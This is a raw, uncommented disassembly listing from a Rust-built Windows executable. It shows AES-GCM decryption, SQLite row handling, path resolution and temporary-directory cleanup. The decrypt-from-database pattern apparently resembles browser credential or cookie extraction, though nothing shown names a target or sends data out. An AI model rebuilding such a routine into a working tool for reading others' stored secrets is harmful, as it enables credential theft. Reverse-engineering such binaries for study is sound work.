mov rcx, qword [rbp + rax*8 + 0x1410]
mov rdx, rcx
shr rdx, 8
xor rdx, rcx
and rdx, r12
xor rcx, rdx
shl rdx, 8
xor rdx, rcx
mov rcx, rdx
shr rcx, 4
xor rcx, rdx
and rcx, rbx
xor rdx, rcx
shl rcx, 4
xor rcx, rdx
mov qword [rbp + rax*8 + 0x1410], rcx
inc rax
jmp 0x14001d5b6
lea rdx, [rsi - 8]
mov rcx, r14
mov r8, rsi
mov r9, r15
call fcn.140013306
mov rcx, rax
call fcn.1400130c3
add rsi, 8
cmp rsi, 0x80
jne 0x14001d5ff
mov r8d, 0x3c0
mov rcx, rdi
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea r15, [rbp + 0x1a00]
mov r8d, 0x3c0
mov rcx, r14
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r15
call fcn.140012858
mov al, byte [section..data]
cmp al, 1
jne 0x14001d671
mov rcx, r14
mov rdx, r15
mov r8, r15
call fcn.14001a98d
jmp 0x14001d6a9
lea rsi, [rbp + 0x1a20]
mov rcx, rsi
call fcn.1400127fb
mov rcx, rsi
mov rdx, r15
call fcn.140019355
mov rcx, rdi
mov rdx, r14
mov r8, rsi
call fcn.140013369
movdqu xmm0, xmmword [rbp + 0x1030]
movdqa xmmword [rbp + 0x1a00], xmm0
movaps xmm0, xmmword [rbp + 0x1a00]
movaps xmmword [rbp + 0x1ba0], xmm0
lea rcx, [rbp + 0x1ba0]
call fcn.14001937a
mov rdi, qword [rbp + 0x1ba0]
mov rax, qword [rbp + 0x1ba8]
mov rcx, rax
shr rcx, 0x3f
mov rdx, rax
shld rdx, rdi, 1
shld rdi, rax, 1
movabs r8, 0x8000000000000000
and rax, r8
mov r8, rcx
shl r8, 0x3e
or r8, rax
shl rcx, 0x39
or rcx, r8
xor rcx, rdx
movq xmm0, rcx
movq xmm6, rdi
punpcklqdq xmm6, xmm0
mov al, byte [0x140178001]
cmp al, 1
je 0x14001d78e
movzx eax, al
cmp eax, 0xff
jne 0x14001d76e
lea rcx, [rbp + 0x1a20]
call fcn.1400141ae
lea rcx, [rbp + 0x1030]
call fcn.1400141d0
mov esi, dword [rbp + 0x1a28]
mov eax, esi
not eax
test eax, 0xc000000
jne 0x14001d75d
call fcn.14001a830
and eax, 2
shr eax, 1
jmp 0x14001d75f
xor eax, eax
shr sil, 1
and sil, al
mov byte [0x140178001], sil
jne 0x14001d78e
pshufd xmm0, xmm6, 0xee
movq rdx, xmm0
mov rcx, rdi
call fcn.140033b98
movq xmm0, rdx
movq xmm6, rax
punpcklqdq xmm6, xmm0
movdqa xmmword [rbp + 0x3c0], xmm6
movdqa xmmword [rbp + 0x3d0], xmm7
mov r8d, 0x3c0
mov rcx, rbp
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
push 3
pop rcx
push 0xf
pop rdi
mov rdx, rdi
mov r15, qword [rbp + 0x1bf8]
mov r8, r15
mov r13, qword [rbp + 0x1bf0]
mov r9, r13
call fcn.1400011b2
mov qword [rbp + 0x1b40], rax
mov qword [rbp + 0x1030], rdx
cmp rdx, 0xc
jne 0x14001e7dd
mov rcx, r15
mov rdx, r13
mov r8, rdi
lea r9, str.srclib.rs
call fcn.14001a7a4
mov qword [rbp + 0x1bd0], rax
mov rdi, rdx
mov rcx, rdx
xor edx, edx
call fcn.140037eef
mov rsi, rax
mov qword [rbp + 0x1bc0], rdx
mov rcx, rax
mov rdx, qword [rbp + 0x1bd0]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp + 0x1bc0]
mov r8, rdi
cmp rdi, 0x10
push 0x10
pop rdi
jb 0x14001de8e
mov qword [rbp + 0x1bd0], rsi
lea rcx, [r8 - 0x10]
movabs rax, 0x1000000011
cmp rcx, rax
jb 0x14001d88c
mov r15, qword [rbp + 0x1bf8]
mov r13, qword [rbp + 0x1bf0]
mov rsi, qword [rbp + 0x1bd0]
mov rdx, qword [rbp + 0x1bc0]
jmp 0x14001de8e
mov qword [rbp + 0x1b50], rcx
mov r15, r14
mov rax, qword [rbp + 0x1bd0]
mov qword [rbp + 0x1b68], r8
lea r14, [rax + r8]
add r14, 0xfffffffffffffff0
mov rcx, r15
call fcn.140012858
mov rcx, r15
lea r15, [rbp + 0x1b80]
mov rdx, rdi
push 0xc
pop r13
mov r8, r13
lea r9, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_gcm_0.10.3_srclib.rs
call fcn.140038659
lea rcx, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_gcm_0.10.3_srclib.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, qword [rbp + 0x1b40]
mov r9, r13
call fcn.14003867e
mov byte [rbp + 0x141f], 1
mov rax, qword [rbp + 0x1410]
mov qword [rbp + 0x1b80], rax
mov eax, dword [rbp + 0x1418]
mov dword [rbp + 0x1b88], eax
movzx eax, word [rbp + 0x141c]
mov word [rbp + 0x1b8c], ax
mov al, byte [rbp + 0x141e]
mov byte [rbp + 0x1b8e], al
mov al, byte [rbp + 0x141f]
mov byte [rbp + 0x1b8f], al
xor eax, eax
cmp rax, 4
je 0x14001d94e
and dword [rbp + rax*4 + 0x1410], 0
inc rax
jmp 0x14001d93b
movdqu xmm0, xmmword [rbp + 0x1410]
movdqa xmmword [rbp + 0x1030], xmm0
xor esi, esi
cmp rsi, 0x10
je 0x14001d9b1
mov rcx, rsi
mov rdx, r15
mov r8, rdi
lea r13, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001fctr_0.9.2_src_flavorsctr32.rs
mov r9, r13
call fcn.140016f4e
mov rcx, rax
push 4
pop r8
mov r9, r13
call fcn.140038659
cmp rdx, 4
jne 0x14001e6d8
mov eax, dword [rax]
cmp rsi, 0xc
mov ecx, eax
bswap ecx
cmovne ecx, eax
mov dword [rbp + rsi + 0x1030], ecx
add rsi, 4
jmp 0x14001d960
movaps xmm0, xmmword [rbp + 0x1030]
lea r15, [rbp + 0x1ba8]
movups xmmword [r15], xmm0
mov r13, rbp
mov qword [rbp + 0x1ba0], r13
and dword [rbp + 0x1bb8], 0
lea rsi, [rbp + 0x1b30]
mov rcx, rsi
call fcn.140012858
mov al, byte [section..data]
cmp al, 1
jne 0x14001da04
mov rcx, r13
mov rdx, r15
mov r8, rsi
call fcn.14001a365
lea r15, [rbp + 0x1410]
jmp 0x14001da53
lea rsi, [rbp + 0x1930]
mov rcx, rsi
mov rdx, r15
call fcn.1400196bb
lea r13, [rbp + 0x1030]
mov rcx, r13
call fcn.1400127fb
mov rcx, r13
mov rdx, rsi
call fcn.140019355
lea r15, [rbp + 0x1410]
mov rcx, r15
mov rdx, rbp
mov r8, r13
call fcn.140013369
movups xmm0, xmmword [rbp + 0x1410]
movaps xmmword [rbp + 0x1b30], xmm0
movups xmm0, xmmword [rbp + 0x1ba0]
movups xmm1, xmmword [rbp + 0x1bb0]
movaps xmmword [rbp + 0x1a30], xmm1
movaps xmmword [rbp + 0x1a20], xmm0
movaps xmm0, xmmword [rbp + 0x1b30]
lea rax, [rbp + 0x1a40]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [rbp + 0x1a20]
movaps xmm1, xmmword [rbp + 0x1a30]
movaps xmmword [rbp + 0x1a00], xmm0
movaps xmmword [rbp + 0x1a10], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x1930], xmm0
mov al, byte [0x140178001]
movaps xmm0, xmmword [rbp + 0x3c0]
movdqa xmm1, xmmword [rbp + 0x3d0]
movaps xmmword [rbp + 0x1410], xmm0
movdqa xmmword [rbp + 0x1420], xmm1
mov rcx, r15
lea rdx, [0x1401550a0]
xor r8d, r8d
call fcn.140019ee3
mov rcx, r15
mov rdx, qword [rbp + 0x1bd0]
mov rsi, qword [rbp + 0x1b50]
mov r8, rsi
call fcn.140019ee3
lea rsi, [rsi*8]
lea r13, [rbp + 0x1ba0]
mov rcx, r13
call fcn.140012858
mov rcx, r13
mov rdx, rdi
push 8
pop r8
lea r9, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_gcm_0.10.3_srclib.rs
call fcn.140038659
and qword [rbp + 0x1030], 0
lea rcx, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_gcm_0.10.3_srclib.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
lea r13, [rbp + 0x1030]
mov r8, r13
push 8
pop r9
call fcn.14003867e
bswap rsi
mov qword [rbp + 0x1ba8], rsi
mov rax, qword [rbp + 0x1ba0]
mov qword [rbp + 0x1030], rax
mov rax, qword [rbp + 0x1ba8]
mov qword [rbp + 0x1038], rax
mov rcx, r15
mov rdx, r13
push 1
pop r8
call fcn.140019f68
movdqa xmm0, xmmword [rbp + 0x1420]
mov al, byte [0x140178001]
cmp al, 1
jne 0x14001dba7
movdqa xmmword [rbp + 0x1030], xmm0
mov r13, qword [rbp + 0x1bc0]
jmp 0x14001dc43
xor eax, eax
lea r15, [rbp + 0x1b80]
mov r13, qword [rbp + 0x1bc0]
cmp rax, 0x10
je 0x14001dbca
mov byte [rbp + rax + 0x1030], 0
inc rax
jmp 0x14001dbb7
movdqu xmm1, xmmword [rbp + 0x1030]
movdqa xmmword [rbp + 0x1a20], xmm1
movdqu xmmword [rbp + 0x1030], xmm0
mov rsi, rdi
xor edi, edi
test rsi, rsi
je 0x14001dc30
cmp rsi, 8
push 8
pop r9
mov rdx, r9
cmovb rdx, rsi
lea rcx, [rbp + rdi + 0x1a20]
mov rax, qword [rbp + rdi + 0x1030]
mov qword [rbp + 0x1b80], rax
lea rax, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001fpolyval_0.6.1_src_backend_soft64.rs
mov qword [rsp + 0x20], rax
mov r8, r15
call fcn.14003867e
add rdi, 8
add rsi, 0xfffffffffffffff8
jmp 0x14001dbe7
movdqa xmm0, xmmword [rbp + 0x1a20]
movdqa xmmword [rbp + 0x1030], xmm0
push 0x10
pop rdi
lea rcx, [rbp + 0x1030]
call fcn.14001937a
movdqa xmm0, xmmword [rbp + 0x1030]
movdqa xmmword [rbp + 0x1a20], xmm0
xor eax, eax
lea rcx, [rbp + 0x1b30]
cmp rax, 0x10
je 0x14001dc81
mov dl, byte [rbp + rax + 0x1930]
xor byte [rbp + rax + 0x1a20], dl
inc rax
jmp 0x14001dc68
movdqa xmm0, xmmword [rbp + 0x1a20]
movdqa xmmword [rbp + 0x1b30], xmm0
mov rdx, rdi
mov r8, rdi
lea r9, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_gcm_0.10.3_srclib.rs
call fcn.140038659
cmp rdx, 0x10
jne 0x14001dcda
mov rdi, rax
mov sil, 1
xor eax, eax
cmp rax, 0x10
je 0x14001dcdc
lea r15, [rax + 1]
mov dl, byte [r14 + rax]
xor dl, byte [rdi + rax]
mov ecx, edx
neg cl
or cl, dl
not cl
shr cl, 7
call fcn.1400676c4
and sil, al
mov rax, r15
jmp 0x14001dcb1
xor esi, esi
mov ecx, esi
call fcn.1400676c4
test al, al
je 0x14001de6f
mov r14, qword [rbp + 0x1b68]
and r14, 0xf
je 0x14001dd0f
mov eax, dword [rbp + 0x1a18]
mov ecx, 0xffffffff
xor rax, rcx
cmp r14, rax
jae 0x14001e90d
mov rsi, qword [rbp + 0x1bd0]
mov r8, qword [rbp + 0x1b50]
mov rdi, r8
cmp r8, 0x10
jbe 0x14001dd73
mov rax, r8
shr rax, 4
mov rcx, r8
and rcx, 0xfffffffffffffff0
mov rdx, qword [rbp + 0x1bd0]
mov rsi, rdx
add rsi, rcx
mov qword [rbp + 0x1030], rdx
mov qword [rbp + 0x1038], rdx
mov qword [rbp + 0x1040], rax
lea rcx, [rbp + 0x1a00]
lea rdx, [rbp + 0x1030]
call fcn.14001939d
mov r8, qword [rbp + 0x1b50]
mov rdi, r14
test rdi, rdi
je 0x14001de23
lea r14, [rbp + 0x1a20]
mov rcx, r14
call fcn.140012858
mov rcx, r14
push 0x10
pop r15
mov rdx, r15
mov r8, rdi
lea r9, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001fcipher_0.4.4_src_stream_core.rs
call fcn.140038659
lea rcx, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001fcipher_0.4.4_src_stream_core.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, rsi
mov r9, rdi
call fcn.14003867e
mov qword [rbp + 0x1410], r14
mov qword [rbp + 0x1418], r14
mov qword [rbp + 0x1420], 1
lea rcx, [rbp + 0x1a00]
lea rdx, [rbp + 0x1410]
call fcn.14001939d
mov rcx, r14
mov rdx, r15
mov r8, rdi
lea r9, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001fcipher_0.4.4_src_stream_core.rs
call fcn.140038659
mov r9, rdx
lea rcx, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001fcipher_0.4.4_src_stream_core.rs
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.14003867e
mov r8, qword [rbp + 0x1b50]
mov rax, qword [rbp + 0x1b68]
cmp rax, 0x10
cmovb r8, rax
mov rsi, qword [rbp + 0x1bd0]
mov qword [rbp + 0x1030], rsi
mov qword [rbp + 0x1038], r13
mov qword [rbp + 0x1040], r8
mov al, byte [section..data]
mov rcx, qword [rbp + 0x1bf8]
mov rdx, qword [rbp + 0x1b60]
mov rdi, r8
call fcn.140069293
mov r8, rdi
jmp 0x14001ded5
lea r14, [rbp + 0x1410]
mov r15, qword [rbp + 0x1bf8]
mov rdx, r13
mov r13, qword [rbp + 0x1bf0]
mov rsi, qword [rbp + 0x1bd0]
mov rcx, rsi
call fcn.140069293
mov qword [rbp + 0x1410], r15
mov rax, qword [rbp + 0x1b60]
mov qword [rbp + 0x1418], rax
mov qword [rbp + 0x1420], r13
lea rcx, [rbp + 0x1030]
mov rdx, r14
call fcn.14001a7b5
mov al, byte [section..data]
mov rsi, qword [rbp + 0x1030]
mov r8, qword [rbp + 0x1040]
lea rcx, [rbp + 0x1870]
mov rdx, rsi
call fcn.140020d20
cmp qword [rbp + 0x1870], 0
jne 0x14001e7ab
mov rsi, qword [rbp + 0x1878]
mov rdi, qword [rbp + 0x1880]
mov rcx, rdi
xor edx, edx
call fcn.140037eef
mov qword [rbp + 0x1bf0], rdx
mov qword [rbp + 0x1bc0], rax
mov rcx, rax
mov rdx, rsi
mov qword [rbp + 0x1bf8], rdi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1038]
call fcn.140069293
mov r13, qword [rbp + 0x18d0]
mov dil, byte [rbp + 0x18d8]
mov r15b, byte [rbp + 0x18d9]
lea rcx, [rbp + 0x18da]
mov eax, dword [rcx]
movzx ecx, word [rcx + 4]
mov r14, qword [rbp + 0x18e0]
mov rdx, qword [rbp + 0x17e8]
mov qword [rbp + 0x19d0], rdx
movups xmm0, xmmword [rbp + 0x17d8]
movaps xmmword [rbp + 0x19c0], xmm0
mov word [rbp + 0x1bec], cx
mov dword [rbp + 0x1be8], eax
movaps xmm0, xmmword [rbp + 0x19c0]
movaps xmmword [rbp + 0x19e0], xmm0
mov rax, qword [rbp + 0x19d0]
mov qword [rbp + 0x19f0], rax
test r13, r13
je 0x14001e7fd
push 0x48
pop rcx
call fcn.140018fd4
mov rsi, rax
mov qword [rax], r13
mov byte [rax + 8], dil
mov byte [rax + 9], r15b
mov eax, dword [rbp + 0x1be8]
mov dword [rsi + 0xa], eax
movzx eax, word [rbp + 0x1bec]
mov word [rsi + 0xe], ax
mov qword [rsi + 0x10], r14
movdqa xmm0, xmmword [rbp + 0x19e0]
movdqu xmmword [rsi + 0x18], xmm0
mov rax, qword [rbp + 0x19f0]
mov qword [rsi + 0x28], rax
mov rax, qword [rbp + 0x1bc0]
mov qword [rsi + 0x30], rax
mov rax, qword [rbp + 0x1bf0]
mov qword [rsi + 0x38], rax
mov rax, qword [rbp + 0x1bf8]
mov qword [rsi + 0x40], rax
mov rdx, qword [rbp + 0x1b28]
cmp rdx, qword [rbp + 0x1b20]
jne 0x14001e041
lea rcx, [rbp + 0x1b18]
call fcn.14001abe1
mov rdx, qword [rbp + 0x1b28]
mov r13, rbp
lea r14, [rbp + 0x1410]
mov rax, qword [rbp + 0x1b18]
imul rcx, rdx, 0x18
mov qword [rax + rcx], rsi
push 3
pop r8
mov qword [rax + rcx + 8], r8
mov qword [rax + rcx + 0x10], r8
inc rdx
mov qword [rbp + 0x1b28], rdx
mov r15, qword [rbp + 0x1900]
jmp 0x14001ccac
cmp eax, 0x65
jne 0x14001e758
lea rcx, [rbp + 0x1900]
call fcn.140006936
and qword [rbp + 0x1908], 0
lea rcx, [rbp + 0x1900]
call fcn.140006936
mov rax, qword [rbp + 0x1b28]
mov rcx, qword [rbp + 0x18e8]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rbp + 0x1b18]
movdqu xmmword [rcx], xmm0
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x1440], xmm0
lea rdi, [rbp + 0x1890]
movdqa xmmword [rbp + 0x1410], xmm0
movdqa xmmword [rbp + 0x1420], xmm0
and qword [rbp + 0x1430], 0
push 1
pop rdx
cmp rdx, 9
je 0x14001e11e
mov rax, qword [rbp + rdx*8 + 0x1408]
mov rcx, qword [rbp + rdx*8 + 0x1888]
mov qword [rbp + rdx*8 + 0x1408], rcx
mov qword [rbp + rdx*8 + 0x1888], rax
inc rdx
jmp 0x14001e0f3
mov rbx, qword [rbp + 0x1888]
movdqa xmm0, xmmword [rbp + 0x1410]
movdqa xmm1, xmmword [rbp + 0x1420]
movdqa xmm2, xmmword [rbp + 0x1430]
movaps xmm3, xmmword [rbp + 0x1440]
mov rsi, rbp
movaps xmmword [rsi + 0x30], xmm3
movdqa xmmword [rsi + 0x20], xmm2
movdqa xmmword [rsi + 0x10], xmm1
movdqa xmmword [rsi], xmm0
mov rcx, qword [rsi + 0x30]
call fcn.140072c74
mov r14d, eax
and qword [rsi + 0x30], 0
mov rcx, rsi
call fcn.14001ed0c
mov rcx, rsi
mov rdx, rbx
mov r8d, r14d
call fcn.14001be70
cmp byte [rsi], 0x13
je 0x14001e18d
mov rcx, rbp
call fcn.14001a9a8
mov rcx, rdi
call fcn.14001ed0c
cmp qword [rbp + 0x1940], 0
jne 0x14001ea6c
or qword [rbp + 0x1940], 0xffffffffffffffff
cmp qword [rbp + 0x1960], 0
je 0x14001e1f6
mov rsi, qword [rbp + 0x1950]
test rsi, rsi
je 0x14001e1d3
mov rcx, qword [rbp + 0x1948]
lea r8, [rsi + 0x11]
mov dl, 0xff
call sub.VCRUNTIME140.dll_memset
and qword [rbp + 0x1960], 0
lea rax, [rsi + 1]
shr rax, 3
imul rax, rax, 7
cmp rsi, 8
cmovb rax, rsi
mov qword [rbp + 0x1958], rax
mov rdi, qword [rbp + 0x1968]
test rdi, rdi
je 0x14001e212
mov rcx, rdi
call fcn.14001ed41
mov qword [rdi + 0x50], rdi
mov qword [rdi + 0x58], rdi
inc qword [rbp + 0x1940]
lea rdi, [rbp + 0x1410]
mov rcx, rdi
lea rdx, [rbp + 0x1988]
call fcn.14003a2d5
cmp byte [rdi], 0x13
jne 0x14001e48a
mov rax, qword [rbp + 0x1988]
lock dec qword [rax]
jne 0x14001e251
mov rcx, qword [rbp + 0x1988]
call fcn.1400394e0
mov rdi, qword [rbp + 0x1968]
test rdi, rdi
je 0x14001e26d
mov rcx, rdi
call fcn.14001ed41
mov rcx, rdi
call fcn.14001edb0
mov rcx, qword [rbp + 0x1970]
test rcx, rcx
je 0x14001e287
mov rsi, qword [rcx + 0x50]
call fcn.14001edb0
mov rcx, rsi
jmp 0x14001e274
lea rdi, [rbp + 0x19a0]
mov rcx, qword [rdi - 0x58]
mov rdx, qword [rdi - 0x50]
call fcn.1400397cb
mov rcx, rdi
call fcn.14000181d
cmp byte [rbp + 0x1928], 2
je 0x14001e5d5
lea rcx, [rbp + 0x1410]
and word [rcx + 0x24], 0
and dword [rcx + 0x20], 0
mov rbx, qword [rbp + 0x1910]
mov rsi, qword [rbp + 0x1920]
pxor xmm6, xmm6
movdqu xmmword [rcx + 8], xmm6
mov qword [rcx + 0x18], 7
movabs rax, 0x8000000001
mov qword [rcx], rax
mov dword [rcx + 0x10], 0x2200000
mov rdx, rbx
mov r8, rsi
call fcn.1400512a0
mov rdi, rdx
test rax, rax
jne 0x14001e5cd
mov qword [rbp + 0x1bc0], rbx
mov qword [rbp + 0x1bf8], rsi
xor esi, esi
mov r8d, 0x400
mov rcx, rbp
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea r15, [rbp + 0x1a20]
mov qword [r15], 2
movdqu xmmword [r15 + 8], xmm6
mov r12d, 0x200
cmp r12, 0x201
jae 0x14001e357
mov r13, rbp
mov ebx, 0x200
jmp 0x14001e380
mov rdx, r12
sub rdx, rsi
mov rcx, r15
call fcn.140037d24
mov qword [rbp + 0x1a30], r12
mov r13, qword [rbp + 0x1a20]
mov rsi, r12
mov qword [rbp + 0x1b70], r13
mov rbx, r12
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rcx, rdi
mov rdx, r13
mov r8d, r12d
xor r9d, r9d
call sub.KERNEL32.dll_GetFinalPathNameByHandleW
mov r14d, eax
test eax, eax
jne 0x14001e3a9
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14001e408
mov r14d, r14d
cmp r12, r14
jne 0x14001e3c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14001e3c1
add r12, r12
jmp 0x14001e344
cmp r12, r14
mov r12, r14
jbe 0x14001e344
cmp rbx, r14
jb 0x14001eb17
lea rbx, [rbp + 0x1030]
mov rcx, rbx
mov rdx, r13
mov r8, r14
call fcn.14004b660
mov rsi, qword [rbx]
cmp byte [rbx + 0x18], 2
sete bl
jmp 0x14001e412
lea r8, [0x140145078]
mov rcx, rdi
call fcn.14013f720
ud2
mov bl, 1
call fcn.140034593
mov rsi, rax
mov rdx, qword [rbp + 0x1a28]
mov rcx, qword [rbp + 0x1b70]
call fcn.140037f66
test bl, bl
je 0x14001e43a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, rsi
jmp 0x14001e5cd
mov r15, qword [rbp + 0x1038]
mov r12, qword [rbp + 0x1040]
mov rbx, rbp
mov rcx, rbx
mov rdx, qword [rbp + 0x1bc0]
mov r8, qword [rbp + 0x1bf8]
call fcn.140037df6
cmp dword [rbx], 2
jne 0x14001e538
mov rbx, qword [rbp + 8]
mov rcx, rsi
mov rdx, r15
call fcn.140069293
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, rbx
jmp 0x14001e5cd
movdqu xmm0, xmmword [rbp + 0x1410]
movdqu xmm1, xmmword [rbp + 0x1420]
movdqu xmm2, xmmword [rbp + 0x1430]
movups xmm3, xmmword [rbp + 0x1440]
movaps xmmword [rbp + 0x30], xmm3
movdqa xmmword [rbp + 0x20], xmm2
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmmword [rbp], xmm0
mov rax, qword [0x14017d5d0]
shl rax, 1
test rax, rax
je 0x14001ea8b
call fcn.140141bc0
test al, al
jne 0x14001ea8b
mov rsi, rbp
mov qword [rbp + 0x1a20], rsi
lea rax, str.Error_while_closing_SQLite_connection:
lea rcx, [rbp + 0x1030]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x140039a14]
mov qword [rbp + 0x1a28], rax
lea rax, [rbp + 0x1a20]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call fcn.1400563e0
mov rcx, rsi
call fcn.14001a9a8
jmp 0x14001e238
mov r14d, dword [rbp + 0x40]
mov ebx, dword [rbp + 0x44]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
mov rdx, r12
call fcn.140053390
test rax, rax
je 0x14001e5a2
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov eax, r14d
and al, 1
mov byte [rbp + 0x18], al
and qword [rbp + 0x10], 0
mov ecx, r14d
mov edx, ebx
call fcn.1400512c0
test al, al
je 0x14001e5ad
bt r14d, 0xa
jae 0x14001e66e
and ebx, 0x20000000
je 0x14001e66e
mov r8, rbp
mov rcx, rsi
mov rdx, r12
call fcn.140037f7c
jmp 0x14001e5bf
lea rdx, [0x140154eff]
push 0x1b
jmp 0x14001e5b6
lea rdx, str.Not_a_directoryCant_delete_root_directoryC:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rand_0.4.6_srclib.rsABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tempdir_0.3.7_srclib.rs.
push 0xf
pop r8
mov cl, 1
call fcn.140033e93
mov rdi, rax
mov rcx, rsi
mov rdx, r15
call fcn.140069293
mov rcx, rdi
call fcn.140068622
lea rcx, [rbp + 0x1910]
call fcn.14000181d
movaps xmm6, xmmword [rbp + 0x1c10]
movaps xmm7, xmmword [rbp + 0x1c20]
movaps xmm8, xmmword [rbp + 0x1c30]
movaps xmm9, xmmword [rbp + 0x1c40]
movaps xmm10, xmmword [rbp + 0x1c50]
movaps xmm11, xmmword [rbp + 0x1c60]
movaps xmm12, xmmword [rbp + 0x1c70]
movaps xmm13, xmmword [rbp + 0x1c80]
movaps xmm14, xmmword [rbp + 0x1c90]
movaps xmm15, xmmword [rbp + 0x1ca0]
add rsp, 0x1d38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rax, [0x14014b000]
mov qword [rsp + 0x20], rax
lea rcx, str.already_borrowedalready_mutably_borrowed_rustc_eb26296b556cef10fb713a38f3d16b9886080f26librarycore_src_sync_atomic.rsthere_is_no_such_thing_as_a_release_load
lea r9, [0x14014aec0]
push 0x10
pop rdx
lea r8, [rbp + 0x1410]
call fcn.14013fba0
ud2
mov r8, rbp
mov rcx, rsi
mov rdx, r12
call fcn.14003849c
jmp 0x14001e5bf
mov rax, qword [rbp + 8]
lea rcx, [rbp + 0x1a00]
mov qword [rcx], rax
lea rax, [rbp + 0x1888]
mov qword [rax], rcx
lea rdx, str.No_entropy_available:
lea rcx, [rbp + 0x1410]
mov qword [rcx], rdx
push 1
pop r8
mov qword [rcx + 8], r8
and qword [rcx + 0x20], 0
lea rdx, [0x14004dcd0]
mov qword [rax + 8], rdx
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r8
lea rdx, [0x14014afe8]
call fcn.14013f6e0
ud2
lea rax, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001fctr_0.9.2_src_flavorsctr32.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140146c40]
push 0x2b
jmp 0x14001e65f
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syswindowsmod.rs
push 0x28
pop rdx
call fcn.14013f8a0
jmp 0x14001eb15
movdqu xmm0, xmmword [rbp + 0x1410]
movdqu xmm1, xmmword [rbp + 0x1420]
movdqu xmm2, xmmword [rbp + 0x1430]
movups xmm3, xmmword [rbp + 0x1440]
mov r8, rbp
movaps xmmword [r8 + 0x30], xmm3
movdqa xmmword [r8 + 0x20], xmm2
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srclib.rs
jmp 0x14001e8f2
mov rdx, qword [r15]
mov rsi, rbp
mov rcx, rsi
mov r8d, eax
call fcn.14001be70
mov al, byte [rsi]
cmp al, 0x13
jne 0x14001e81d
lea rax, str.C:Usersuser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rusqlite_0.28.0_src_statement.rssqlsqlite3_column_type_returned_invalid_value.
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap_err____on_an__Ok__value
lea r9, [0x140146b60]
push 0x2e
jmp 0x14001e65f
mov r8, rbp
and qword [r8], 0
lea rdx, [0x140146a60]
lea rcx, [rbp + 0x1410]
jmp 0x14001e7f6
lea rax, [rbp + 0x1878]
movdqu xmm0, xmmword [rax]
mov r8, rbp
movdqa xmmword [r8], xmm0
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140146c20]
jmp 0x14001e905
lea r8, [rbp + 0x1410]
and qword [r8], 0
lea rdx, [0x140146a40]
lea rcx, [rbp + 0x1030]
call fcn.14013f682
ud2
mov r13d, r15d
mov r12, r14
mov rsi, qword [rbp + 0x1bf8]
mov r14, qword [rbp + 0x1bc0]
mov r15, qword [rbp + 0x1bf0]
jmp 0x14001e8a2
mov edi, eax
mov r13b, byte [rbp + 1]
lea rcx, [rbp + 2]
mov eax, dword [rcx]
mov dword [rbp + 0x1b98], eax
movzx eax, word [rcx + 4]
mov word [rbp + 0x1b9c], ax
mov r12, qword [rbp + 8]
movups xmm0, xmmword [rcx + 0xe]
movaps xmmword [rbp + 0x19c0], xmm0
mov rax, qword [rcx + 0x1e]
mov qword [rbp + 0x19d0], rax
mov r14, qword [rbp + 0x28]
mov r15, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x38]
lea rcx, [rbp + 0x1900]
call fcn.140006936
movzx eax, word [rbp + 0x1b9c]
mov word [rbp + 0x1bec], ax
